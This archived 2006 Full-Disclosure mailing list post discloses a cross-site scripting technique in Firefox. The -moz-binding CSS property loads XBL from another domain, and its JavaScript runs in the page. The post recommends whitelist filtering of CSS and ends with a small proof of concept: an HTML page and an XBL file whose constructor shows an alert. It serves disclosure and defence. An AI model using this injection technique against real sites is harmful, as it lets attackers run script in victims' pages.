full-disclosure - -moz-binding CSS property: more XSS fun

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat Jan 28 20:11:33 2006
From: lists at atrus.org (Nikolas Coukouma)
Subject: -moz-binding CSS property: more XSS fun

Hm, I haven't seen this posted here ...
Firefox now supports the -moz-binding CSS property, which associate 
XBL[1] with an element. The same origin policy is not applied. This is a 
problem because XBL may contain JavaScript and it runs with full access 
to content.

There is a bug report[2] filed, but it seems unlikely that it will be 
fixed anytime soon.

This is a good time to consider using a CSS parser and whitelist to 
filter style tags and attributes.

I've included a very simple example below.

Cheers,
-Nikolas

[1] http://www.mozilla.org/projects/xbl/xbl.html
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=324253

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?>  
<bindings xmlns="http://www.mozilla.org/xbl"
  xmlns:html="http://www.w3.org/1999/xhtml">

  <binding id="xss">
    <implementation>
      <constructor>
        alert("XBL XSS");
      </constructor>
    </implementation>
  </binding>

</bindings>